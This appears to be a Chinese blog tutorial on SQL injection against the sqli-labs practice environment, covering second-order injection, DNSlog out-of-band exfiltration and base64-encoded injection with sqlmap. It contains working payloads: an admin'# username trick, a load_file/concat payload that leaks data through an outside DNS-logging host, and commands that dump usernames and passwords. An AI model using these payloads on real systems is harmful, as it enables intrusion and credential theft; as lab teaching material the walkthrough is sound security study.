#sql注入之二次注入

1.注入原理

二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入可分为两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

2.靶场演示

sqlilabs第24关

发现默认用户为admin密码未知

尝试新建一个用户admin'#进行二次注入

查看数据库,已经添加成功

登陆admin'#

可以修改密码,我们查看此页面的网站源码,发现更新用户密码的sql语句如图:

我们修改用户admin'#的密码的SQL语句为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

注释掉后面的语句,就变成了修改用户admin的密码了,而admin'#用户密码没有改变。

#DNSlog带外注入

1.带外注入原理

带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。也就是利用其他的协议或渠道,如http请求、DNS解析、SMB服务等京数据带出。

2.靶场演示

首先在http://ceye.io/注册一个账号,记录以下信息

使用sqlilabs第9关进行演示

不会显示任何信息:

构造pylaod:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+

在平台上查看返回的值:

3.工具使用

工具地址 :https://github.com/adooo/dnslogsqlinj

需要使用python27环境

首先需要修改配置文件:

使用语句如下:

获取数据库名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
获取数据库security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

#sql注入加解密

小伙伴们可能会碰到有的url中有base64编码或者其他编码,在此类注入时我们需要先够造注入语句再进行转码,最后得到的编码再注入。

sqlmap中有相应的插件,可使用语句:

sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs

或者进行中转注入:

大体意思就是将传参用base64编码,再与url进行拼接。在开启htt服务用sqlmap或其他工具进行测试这个文件即可.

首先构造文件:

大体意思就是将传参用base64编码,再与url进行拼接。

其中base64_decode()函数是将传入的参数进行base64编码。

file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法。

例如sqlmap:

python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3

SQL注入之二次,加解密,DNS等注入的更多相关文章

  1. 十七:SQL注入之二次加解密,DNS注入

    加解密,二次,DNSlog注入 注入原理,演示案例,实际应用. less-21关,base64进行解密 encode加密decode解密 cookie处注入 判断加密算法,然后进行注入 less-24 ...

  2. 在SQL SERVER中实现RSA加解密函数(第一版)

    /*************************************************** 作者:herowang(让你望见影子的墙) 日期:2010.1.1 注:   转载请保留此信息 ...

  3. 在SQL SERVER中实现RSA加解密函数(第二版)

    /*************************************************** 作者:herowang(让你望见影子的墙) 日期:2010.1.5 注: 转载请保留此信息 更 ...

  4. 互联网服务器的实现过程需要考虑哪些安全问题 & 加解密及哈希知识点

    http://www.cnblogs.com/charlesblc/p/6341265.html 其中的一篇. 参考 https://zhuanlan.zhihu.com/p/20336461?ref ...

  5. 惊呆了!不改一行 Java 代码竟然就能轻松解决敏感信息加解密|原创

    前言 出于安全考虑,现需要将数据库的中敏感信息加密存储到数据库中,但是正常业务交互还是需要使用明文数据,所以查询返回我们还需要经过相应的解密才能返回给调用方. ps:日常开发中,我们要有一定的安全意识 ...

  6. Oracle中的加解密函数

    对Oracle内部数据的加密,可以简单得使用DBMS_CRYPTO来进行,效果还是不错的,而且使用也比较方便,所以今天专门来学习一下这个包的使用方法.在使用之前,要注意两件事情: 1.DBMS_CRY ...

  7. RSA 加解密算法

    与DES不同,RSA算法中,每个通信主体都有两个钥匙,一个公钥一个私钥. 就是有2把钥匙1.使用publicKey可以对数据进行加密2.使用Key才能对数据进行解密单方向传输用公钥加密的数据,只有私钥 ...

  8. 编码,加解密,签名,Hash

    工作中会听到各种各样是是而非的词汇,base64,url,sha256,rsa,hash等等,你能很好的分清这些词语吗? 这次我想把它们统一的整理说明下: 一: 编码 编码是信息从一种形式或格式转换为 ...

  9. SpringBoot+ShardingSphere彻底解决生产环境数据库字段加解密问题

    前言   互联网行业公司,对于数据库的敏感字段是一定要进行加密的,方案有很多,最直接的比如写个加解密的工具类,然后在每个业务逻辑中手动处理,在稍微有点规模的项目中这种方式显然是不现实的,不仅工作量大而 ...

随机推荐

  1. 深度解密:Java与线程的关系

    并发不一定要依赖多线程(如PHP的多进程并发),但在Java中谈论并发,大多数都与线程脱不开关系. 线程的实现 线程是CPU调度的基本单位,Thread类与大部分的Java API有显著的差别,它的所 ...

  2. 《MySQL面试小抄》索引考点二面总结

    <MySQL面试小抄>索引考点二面总结 我是肥哥,一名不专业的面试官! 我是囧囧,一名积极找工作的小菜鸟! 囧囧表示:小白面试最怕的就是面试官问的知识点太笼统,自己无法快速定位到关键问题点 ...

  3. 自动按需引入组件用不了(Vant)

    按照官网的自动按需引入之后,这样写是报错的,直接在vue页面中这样引用也是报错的. 正确的使用方法是这样的

  4. 玩转STM32MP157-开发环境搭建

    (一)STM32MP 1.什么是 STM32MPU STM32MPU是 ST 推出的 Cortex-A7 + Cortex-M4 多核异构处理器 STM32MPU151 是单核 A7+M4,.STM3 ...

  5. CapsuleAO实现的学习

    正是一个炎夏,又到了整活的好时候.最近抽些时间研究下CapsuleAO,记述实践体会. 1.简介 这是一个通过在角色骨骼上绑定虚拟胶囊体并以数学方法实现胶囊近似的AO环境光遮蔽效果的方法, 当角色处于 ...

  6. Mysql的5种索引添加类型

    1.添加普通索引: alter table 'table_name' add index index_name('column') 2.添加主键索引 alter table 'table_name' ...

  7. 24、dhcp服务搭建

    1.dhcp介绍: DHCP(Dynamic Host Configuration Protocol),动态主机配置协议,DHCP 协议主要是用来自动为局域网中的客户机分配 TCP/IP 信息的网络协 ...

  8. noi 162 post office dp

    大致题意: 有v个村庄,每个村庄有各自的位置,且每个位置互不相同.现在要在村庄上设立P个邮局,使每个村庄到最近的邮局的距离之和最小. 分析: 定义状态d[i][j]表示前i个村庄,在这i个村庄中设立j ...

  9. 13.7Cloneable接口

    要点提示:Cloneable接口给出了一个可克隆对象.

  10. [心得体会]jvm

    1. jvm基本架构图 橙色: 线程共享的, gc主要的场所 灰色: 线程不共享 2. 类加载器 启动类加载器(c++加载器) 扩展类加载器(java应用程序加载器) 应用加载器(加载classpat ...